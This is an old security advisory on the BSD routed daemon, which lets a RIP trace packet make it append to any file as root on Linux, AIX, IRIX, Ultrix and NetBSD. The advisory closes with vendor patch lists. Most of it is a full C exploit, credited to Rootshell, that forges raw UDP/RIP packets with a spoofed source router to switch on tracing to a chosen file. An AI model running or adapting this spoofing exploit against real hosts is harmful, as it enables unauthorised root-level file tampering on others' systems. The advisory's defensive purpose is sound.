COMMAND

    routed

SYSTEMS AFFECTED

    Linux 2.0.x, AIX 3.2.x, 4.1.x,  4.2.x, 4.3.x, IRIX 3.x, 4.x, 5.0.x
    5.1.x, 5.2, 5.3, 6.0.x, 6.1, 6.2, 6.3, 6.4, Ultrix 4.3, NetBSD 1.2

PROBLEM

    From rootshell.com to  your hands.   Following exploits routed  on
    BSD machines.  routed has the  ability for a packet to be  sent to
    the daemon that will  turn on debug mode.   The packet is able  to
    specify the file  which is later  opened without any  checks being
    placed on that file  open.  Result is  that you can append  to any
    file on the filesystem.  The following syscall is made AS ROOT:

        ftrace = fopen(file, "a");

    This is obviously a LARGE problem.  Exploit follows:

    /*
     * BSD 4.4 based routed trace file exploit
     *
     * (C) 1997 Rootshell [ http://www.rootshell.com/ ]
     *
     * Solaris 2.6 seems to ignore these packets and returns the following
     * error.  Mileage may vary.. :
     *
     * in.routed[6580]: trace command from 1.2.3.4 - ignored
     *
     * Redhat routed was tested and found to check if the packet came from
     * a valid router.  If you spoof the RIP packet from their default
     * gateway the packet is ACCEPTED.
     *
     * Note: Once a trace file is opened you must close the trace file and then
     * open another file.
     *
     * Exploit tested under Linux 2.0.x.
     *
     * ps.  Just run gated! (http://www.gated.org/)
     *
     */

    /* File to append to on filesystem with debug output */

    #define FILETOCREATE    "/tmp/rootshell"


    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/ip_tcp.h>
    #include <linux/udp.h>
    #include <netinet/protocols.h>
    #include <netdb.h>
    #include <protocols/routed.h>
    #include <linux/route.h>

    #define err(x) { fprintf(stderr, x); exit(1); }
    #define errs(x, y) { fprintf(stderr, x, y); exit(1); }

    /*
     * in_cksum --
     *  Checksum routine for Internet Protocol family headers (C Version)
     */
    unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
    {
	register int nleft = len;
	register u_short *w = addr;
	register int sum = 0;
	u_short answer = 0;

	/*
	 * Our algorithm is simple, using a 32 bit accumulator (sum), we add
	 * sequential 16 bit words to it, and at the end, fold back all the
	 * carry bits from the top 16 bits into the lower 16 bits.
	 */
	while (nleft > 1)  {
	    sum += *w++;
	    nleft -= 2;
	}

	/* mop up an odd byte, if necessary */
	if (nleft == 1) {
	    *(u_char *)(&answer) = *(u_char *)w ;
	    sum += answer;
	}

	/* add back carry outs from top 16 bits to low 16 bits */
	sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
	sum += (sum >> 16);         /* add carry */
	answer = ~sum;              /* truncate to 16 bits */
	return(answer);
    }

    /* Send faked UDP packet. */
    int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
    struct sockaddr_in *sin;
    unsigned short int s, datalen, sport, dport;
    unsigned long  int saddr, daddr;
    char *data;
    {
      struct iphdr  ip;
      struct udphdr udp;
      static char packet[8192];

      /* Fill in IP header values. */
      ip.ihl      = 5;
      ip.version  = 4;
      ip.tos      = 0;
      ip.tot_len  = htons(28 + datalen);
      ip.id       = htons(31337 + (rand()%100));
      ip.frag_off = 0;
      ip.ttl      = 255;
      ip.protocol = IPPROTO_UDP;
      ip.check    = 0;
      ip.saddr    = saddr;
      ip.daddr    = daddr;
      ip.check    = in_cksum((char *)&ip, sizeof(ip));

      /* Fill in UDP header values. Checksums are unnecassary. */
      udp.source = htons(sport);
      udp.dest   = htons(dport);
      udp.len    = htons(8 + datalen);
      udp.check  = (short) 0;

      /* Copy the headers into our character array. */
      memcpy(packet, (char *)&ip, sizeof(ip));
      memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
      memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);

      return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
	     (struct sockaddr *)sin, sizeof(struct sockaddr_in)));
    }

    /* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */
    unsigned int lookup(host)
    char *host;
    {
      unsigned int addr;
      struct hostent *he;

      addr = inet_addr(host);       /* Try if it's a "127.0.0.1" style string */
      if (addr == -1)               /* If not, lookup the host */
      {
	he = gethostbyname(host);
	if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
	  return 0;

	bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
      }
      return(addr);
    }

    void
    main(argc, argv)
    int argc; char **argv;
    {
      unsigned int saddr, daddr;
      struct sockaddr_in sin;
      int s;
      struct rip rp;

      if(argc != 4)
	errs("\nSee http://www.rootshell.com/\n\nUsage: %s <source_router> <dest_addr> <command>\n\ncommand: 3 = trace on, 4 = trace off\n\n",argv[0]);

      if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	err("Unable to open raw socket.\n");

      if(!(saddr = lookup(argv[1])))
	err("Unable to lookup source address.\n");
      if(!(daddr = lookup(argv[2])))
	err("Unable to lookup destination address.\n");

      sin.sin_family     = AF_INET;
      sin.sin_addr.s_addr= daddr;
      sin.sin_port       = 520;

      /* Fill in RIP packet info */
      rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */
      rp.rip_vers = RIPVERSION; /* Must be version 1 */
      sprintf(rp.rip_tracefile, FILETOCREATE);

      if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1)
      {
	perror("sendpkt_udp");
	err("Error sending the UDP packet.\n");
      }
    }

SOLUTION

    A temporary fix for AIX is available via anonymous ftp from:

        ftp://testcase.software.ibm.com/aix/fromibm/security.routed.tar.Z

    IBM is currently working on the following APARs but they are not
    yet available:

        AIX 4.3.x:  IX73951
        AIX 4.2.x:  IX73949
        AIX 4.1.x:  IX73948
        AIX 3.2.x:  upgrade to version 4

    Patches for IRIX:

        OS Version     Patch #      Other Actions
        ----------     ---------    -------------
        IRIX 3.x       not avail    Upgrade to supported platform
        IRIX 4.x       not avail    Upgrade to supported platform
        IRIX 5.0.x     not avail    Upgrade to supported platform
        IRIX 5.1.x     not avail    Upgrade to supported platform
        IRIX 5.2       not avail    Upgrade to supported platform
        IRIX 5.3        2770
        IRIX 6.0.x     not avail    Upgrade to supported platform
        IRIX 6.1       not avail    Upgrade to supported platform
        IRIX 6.2        1638        Note
        IRIX 6.3        2413        Note
        IRIX 6.4        2413        Note

    Note: These  are the  base patches  where the  security issue  was
    first fixed.  There may  be newer rollup patches that  contain the
    security fix and are currently available from:

        http://support.sgi.com/

    or you SGI support provider.

    Slackware Linux 2.0.29 appears to be not vulnerable.